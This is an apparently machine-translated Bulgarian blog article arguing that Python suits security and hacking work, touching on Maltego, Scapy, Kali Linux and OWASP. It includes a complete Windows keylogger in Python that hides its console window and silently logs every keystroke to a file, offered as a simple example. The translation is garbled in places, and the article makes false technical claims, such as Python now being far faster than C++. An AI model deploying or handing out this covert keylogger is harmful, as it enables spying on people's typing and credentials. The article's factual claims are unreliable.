Gray Hat Python: Сигурност чрез несигурност - eduCBA

Съдържание:

Anonim

Grey Hat Python - И така, преди две години правех изследванията си на езици за програмиране, започнах да чета за C, C ++, Assembly, Python и Ruby. Исках да стана експерт по киберсигурност. И така, започнах да уча толкова, колкото мога. Започнах с това, че C, C ++ и C # са основни и след като научих и компилирах много програми и вируси, най-накрая започнах да уча Kali Linux. За тези, които не знаят какво е Kali Linux, това е операционна система за проникване. И така, продължавах с проучванията си и видях, че повечето програми, вируси и троянски коне са компилирани в Python, а тяхната база е Ruby.

И така, за момента спрях обучението си и започнах да изучавам Python или да бъда прецизен Grey Hat Python и тадая … Беше изключително лесно в сравнение с C, C # или друг език, който научих. Най-накрая разбрах защо Python беше най-използваният език и как стана известен.
И така, днес бих обсъждал как Python се трансформира в Gray Hat Python и защо се използва толкова широко, че дори Google и YouTube го използват в своята база данни, за да дадат максимално точни резултати от търсенето.

Като започнем, Python е език за програмиране на високо ниво, което означава, че синтаксисите му са изключително лесни за четене, дори и за начинаещи. Ако сте нови за програмирането, това ще е езикът, с който бих ви предложил да започнете. Нека ви дам пример:

Ето как изглежда в C: -

#include

int main()
(
printf("Hello world\n");
return 0;
)

Ето как изглежда в Java: -

class HelloWorld
(
public static void main (String args())
(
System.out.println ("Hello World");
)
)


И така изглежда в Python (v2.7)

print "Hello World"

Обикновено? Да, така е. И така, Python беше не само лесен за писане и разбиране, но и много компактен. Така че, може би се чудите как това доведе до Gray Hat Python?

Препоръчителни курсове

  • Обучение за IP маршрутизация
  • Курс за хакерско обучение
  • Цялостно RMAN обучение
  • Обучение по програмиране на Python

Python срещу Gray Hat Python

И така, какво точно е Grey Hat Python? Защо е толкова различен от нашия нормален Python? Работата е в това, че Grey Hat Python не е нищо друго освен програми, написани в Python от хакери, тестери за мрежов стрес и Reverse Engineers за създаване или пропукване на програма. Но терминът Grey Hat се използва, защото не е точно полезен или потребителски софтуер. Използва се за защита или създаване на софтуер за нарушаване на сигурността.

Той може лесно да се използва или за тестване на ограниченията на сигурна среда, или за пробив в сигурна среда. Това означава Grey Hat. И е много по-лесно да го направите в Python, отколкото да го правите в C, C ++ или java. По този начин името Grey Hat Python. Няколко примера, за които се сещам са:

• Писане на ключодържатели (за хакери и пентестери)
• Писане на скриптове за Shell Security (за мрежови администратори)
• Писане на автоматизиран IDS (система за откриване на проникване за инженери по сигурността)

И така, сега знаете защо и как е полезен Gray Hat Python. За да поясня това, нека ви дам няколко подробни примера.
Може би сте чували за Google App Engine. Google App Engine първоначално е проектиран в Python, преди да бъде пренесен. Google App е подходящ пример за програма, написана на Python, тъй като позволява изграждането на уеб приложения, използвайки богатата си колекция от библиотеки, инструменти и рамки от висок клас.

Някога се питах защо е толкова лесно да търсиш нещо в Google? През повечето време получавате резултати от търсенето, които са с 80% точност. Това е така, защото Python е изключително гъвкав, работи с висока скорост и базите данни са много по-компактни, въпреки че съхранява „n“ брой информация. Python е толкова разтегателен, че дори YouTube го използва за цели като гледане на видео, контрол на шаблони, администриране на видео, достъп до канонични данни и много други.

Google има своите сканери и паяци, които събират данни веднага след като бъдат качени в мрежата, без значение къде и колко са защитени. Човек просто се нуждае от подходящо вдъхновение, време и знания, за да събере тази информация.

Търсенията в Google преди това се основаваха на Python, който по-късно се промени на C ++ за оптимизация на скоростта, тъй като обхожданията от Google обхождат много страници в секунда и на всяка от тях са нужни няколко минути, за да се обходи успешно. Python, в момента е много по-бърз от C ++, но това не беше същия случай преди няколко десетилетия.

Имаше известна цитата, цитирана от Google: -
„Python където можем, C ++ където трябва.“

Така че може би се чудите как може да се използва това за хакерство, пенисиране и мрежова сигурност. Моля да се различавам. Ако бихте могли да създадете програма, която е 70% -80% точна за даване на ефективни резултати от търсенето, тогава вероятно можете да създадете приложение, което да свързва уебсайтове, да търси интелигентно и да изгражда профил на човек, който по-скоро може да бъде използван от отделни черни шапки за злонамерени цели. Оставете хората настрана, един, ако е достатъчно интелигентен, лесно може да изгради приложение за изграждане на профил на компания, цялото й дърво от корена до всичко, за което можете да се сетите …

Събиране на информация чрез Maltego

Може би си мислите, че малко преувеличавам. Не, НЕ съм!

Помислете за примери като Maltego. Maltego е софтуер или мога по-добре да го преформулирам като приложение за криминалистика с отворен код, създадено за целите на събиране на информация и изграждане на профил на хора, компания и други корпоративни агенции.

Човек просто трябва да въведе правилни данни в приложението, а останалите неща като свързване на имейли, хора, група хора, дори определяне на интернет инфраструктура, като Домейни, DNS имена, Netblocks и IP адреси, могат да бъдат свързани и свързани помежду си с помощта на тази информация с отворен код,

За повече информация посетете, за да знаете какво е Малтего?

Така че, ако достъпът до „Тайната информация“ определя вашия успех, тогава Maltego може да ви помогне да го откриете. Maltego е частично написан на Python и също използва Java, което отново е чудесен език.

Толкова много, за да цитирам за сигурността от Google. За да бъдем по-точни, Google е най-малкият начин да поддържате анонимност в мрежата, няма значение дали използвате хромирана или www.duckduckgo.com от хром. Защото в крайна сметка всичко се актуализира в мрежата. Въпросът е тук, че не става въпрос за неуязвимост, а за абсолютна уязвимост. Човек не може да се изтрие напълно от интернет. Но със сигурност може да се опитате да запазите възможно най-малко информация в мрежата.

Python не е само език, той е скриптов език. Езиците на скриптове ви позволяват да пишете, да променяте собствените си инструменти, когато се нуждаете от нещо по-персонализирано. Тези инструменти за мрежова сигурност зависят до голяма степен от езика на скриптове за разширяемост. Например, нека вземем Скапи.

Скапи е чисто написано в Python. Това е мощен интерактивен инструмент за манипулиране на пакети. Той може да генерира фалшиви пакети самостоятелно, да сканира мрежи и дори да смърка пакети в мрежата.

Намерете подробна информация за Какво е Scapy?

Сега това са сложни програми, написани от напреднали програмисти. Нека да видим колко е просто да се напише програма в Python, която лесно може да бъде разбрана от хора, които имат някои добри основи в програмирането.

Това е кейлогър, написан на Python: -

#!/usr/bin/Python
import pyHook
import Pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console. GetConsoleWindow() #go to script window
win32gui.ShowWindow (window, 0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a") # (open log_file in append mode)
char = chr (event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)

proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
Pythoncom.PumpMessages() #get input

Така че, това е много повече от лесно, ако ме питате. Просто добавих модулите pyhook, Pythoncom, win32gui и win32console, които лесно можете да изтеглите от уебсайта sourceforge и споменах коментарите, като използвате хеш-тага. Но ако трябва да напиша същата програма в C ++, нека да видим колко трудно може да бъде това.

Това е програма, написана на C ++: -

 #include #include #include #include int main(int argc, char ** agrv)( using namepace std; /*Easier*/ char std::vector input_STRUCT = ("S", "T", "O"); char std::vector input_STRUCT_1 = ("P", ""); char std::vector input_STRUCT_2 = ("L", "O", "O", "K", "I", "N", "G"); char std::vector input_STRUCT_3 = ("", "F", "O", "R"); char std::vector input_STRUCT_4 = ("M", "A", "L", "W"); char std::vector input_STRUCT_5 = ("A", "R", "E"); ostream os("C:\users\keylogger.txt"); int i; for( i = 0; i <=2; i++)( os << input_STRUCT(i); for(;i <= 1000000 ;i++)( ) ) for( i=0; i<=1;i++)( os << input_STRING_1(i); for(;i <= 1000000 ;i++)( ) ) for(i=0; i<=6; i++) ( os << input_STRING_2 (i); for(; i <= 1000000 ; i++)( ) for(i=0; i<=3;i++)( os << input_STRING_3(i); for(; i <= 1000000 ;i++)( ) ) for(i=0; i<=3; i++)( os << input_STRING_4(i); for(;i <= 1000000 ; i++)( ) ) for(i=0; i<=2; i++)( os << input_STRING_5(i); for(;i <= 1000000 ; i++)( ) ) os.close(); istream is (" C:\users\keylogger.txt "); cout << is; return 0; ) 

Така че, това е доста голямо в сравнение с Python. И ако говорим за ефективност, тогава Python може лесно да се компилира в изпълним файл без никакви усилия, използвайки софтуер py2exe. Докато ако говоря за C ++, честно казано, този код е шега. За да напишете подходящ регистратор на ключове, трябва да напишете DLL, който реализира кука WH_KEYBOARD. Освен това, този код е далеч от лесен за разбиране за начинаещ.

Хакерство с отворен код

Сега това се грижи за хакерите на Black Hat, които по-точно са хората, които възнамеряват да унищожават, манипулират данни за собствените си нужди. Говорейки от гледна точка на загрижеността за сигурността, Python е полезен и за хакерите на White Hat, които възнамеряват да спасят обществото от атаката на злонамерени хакери. Ако искате да развиете кариера или поне искате да научите Python за изследвания в областта на сигурността, тогава със сигурност можете да влезете в дълбочина с OWASP, BRO или Quick NIX Secure Script.

OWASP е проект за сигурност на уеб приложенията. OWASP има за цел да създаде по-защитена версия на Python, която улеснява специалистите по сигурността и разработчиците да пишат по-малко склонни към атака от хакери софтуер. Той е свързан с анализ на Black-Box, идентифициране и адресиране на проблеми, свързани със сигурността, които могат да засегнат интерактивния интерпретатор на Python.

BRO е програма за мониторинг на мрежовата сигурност и трафика, докато Quick NIX се използва за втвърдяване и защита на собствеността върху файлове в движение.

Тъй като говорим за сигурност, нека поговорим за операционна система, която частично се основава на Python. Python работи чудесно с UNIX, LINUX и Debian. Една от най-известните операционни системи беше Backtrack 5. Издадоха различни версии. Той е създаден специално за PenTesting. По-късно хората от „Офанзивна сигурност“ помислиха, че Backtrack се нуждае от рестартиране, тъй като повечето от инструментите или не работят правилно, или не се поддържат.

По-късно те пуснаха Kali Linux, която беше изцяло базирана на Debian. И повечето от неговите рамки са или в Ruby, или в Python. Ruby също е страхотен скриптов език. Но бих предпочел по всяко време Python заради това, като причината е Python да има по-разнообразна общност с Linux и по-директния и лесен за отстраняване на грешки. Докато Ruby има много функции и бързо се адаптира към заобикалящата го среда, може да е трудно да отстранявате грешки, да се чете трудно и да е по-сложен от Python.

Най-добрият пример би бил като сравняване на Apple срещу Linux или сравняване на iphone с Android. Apple е богата на ресурси и е изключително гладка и е по-пристрастна към начинаещи. Като има предвид, че Linux / Android е по-удобен за потребителя, малко лагва и може понякога да е главоболие, ако не знаете как да го конфигурирате или поддържате.

Има дори книга, базирана на хакерство на Python Grey Hat от Джъстин Сейц. Той се занимава конкретно с автоматизиране на досадни задачи за обратен инженеринг и сигурност, проектиране на собствени грешки за отстраняване на грешки, библиотека и DLL, задушаване на сигурен трафик през криптирана сесия и използване на дебъгер на Имунитет, Съли и много други. Това е страхотна книга, няма значение дали сте начинаещ или сте експерт, винаги ще научите някое или другото всеки път, когато го прочетете.

заключение

Така че, ако сте начинаещ, Python би бил правилният избор за вас да започнете с първия си език за тестване на програмирането за сигурност.

Само не забравяйте едно нещо в крайна сметка Gray Hat Python не е просто език, а начин да правите нещата правилно и бързо.

Първи източник на изображения: pixabay.com

Свързани статии:-

Ето няколко статии, които ще ви помогнат да получите повече подробности за Python Grey Hat, така че просто преминете през линка.

  1. Предимства на киберсигурните инструменти Трябва да сте наясно
  2. Кариера в Python
  3. Топ 25 Въпроси и отговори за невероятно интервю от Python
  4. Какви са ползите и ограниченията от използването на Python?
  5. Python vs Node.js
  6. Ръководство за въпроси за интервю за киберсигурност
  7. Различни видове инструменти за тестване на сигурността